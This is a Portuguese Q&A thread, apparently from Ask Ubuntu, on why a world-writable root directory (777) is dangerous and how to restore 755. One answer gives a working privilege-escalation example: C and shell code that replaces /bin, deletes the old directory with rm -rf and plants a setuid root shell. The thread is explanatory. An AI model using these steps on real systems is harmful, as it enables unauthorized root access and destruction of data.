A raiz / tem permissão 777?

Question

A maior parte do conteúdo é 755 embora.

Isso é um problema?

    

Answer 1

Isso é interessante que o / permite que 777 de permissões sejam configuradas nele. A pasta / não deve ter 777 permissões, pois isso significa que qualquer usuário logado no sistema pode criar arquivos e pastas no nível raiz / . Eu testei isso em uma VM e você NÃO pode excluir nenhuma das pastas ou arquivos que não são 777 sem ser sudo , root ou owner . As permissões de acesso ainda são seguidas, como tentar acessar a pasta /root que lhe daria permissão negada. No entanto, o que foi dito, você ainda pode mover a pasta /root para /root.old criando pouca confusão.

Para corrigir isso, você pode executar sudo chmod 755 / para alterar as permissões para o que elas devem ser. Você também pode executar sudo chown root:root / apenas para garantir que ele seja de propriedade do próprio root. NÃO execute nenhum desses comandos com -R, pois isso alterará todos os arquivos e pastas da partição para corresponder às permissões e à propriedade.

Espero que isso ajude!

    

Answer 2

/ não deve ser gravável em todo o mundo

/ sendo gravável em todo o mundo pode ser um problema enorme . Tendo permissões de gravação em / , qualquer usuário pode mover / renomear qualquer arquivo ou diretório em / . Isso significa que qualquer usuário pode substituir /etc , /usr ou qualquer um dos outros diretórios em / pelos diretórios de sua escolha.

Negação de serviço: trivial

Qualquer usuário pode trivialmente DoS seu sistema, renomeando /etc e /usr .

Escalonamento de privilégios: um pouco menos trivial

É um pouco mais difícil realizar escalonamento de privilégios. Um usuário pode substituir /bin por sua própria cópia, e qualquer processo que tente usar cp , ou mesmo iniciar um shell , estará imediatamente à sua disposição. Tudo o que o usuário precisa fazer é esperar por um processo rodando como root para usar qualquer comando em /bin , ou o usuário root para usar o login, e eles estão dentro.

Exemplo

bash.c :

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}

foo :

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash

E então:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin

E da próxima vez que o root iniciar um shell, você terá um executável setuid em seu diretório inicial, que poderá usar confortavelmente para ganhar root sempre que quiser, sem deixar rastros.

    

Answer 3

Não. Não é seguro que / (o diretório raiz) tenha 777 permissões. Isso significa que rwxrwxrwx , ou seja, todo usuário tem permissão de gravação para o diretório raiz.

Com essa permissão, cada usuário poderá criar novos subdiretórios, excluir subdiretórios existentes e substituir os subdiretórios existentes. Por exemplo, um usuário mal-intencionado pode excluir /bin (renomeando-o para /bin.old ) e criar um novo /bin de propriedade deles, contendo executáveis maliciosos. Ou o usuário pode excluir /etc (renomeando-o para /etc.old ) e criar um novo /etc contendo um novo arquivo /etc/passwd e /etc/shadow que permite ao usuário efetuar login em todas as contas no sistema.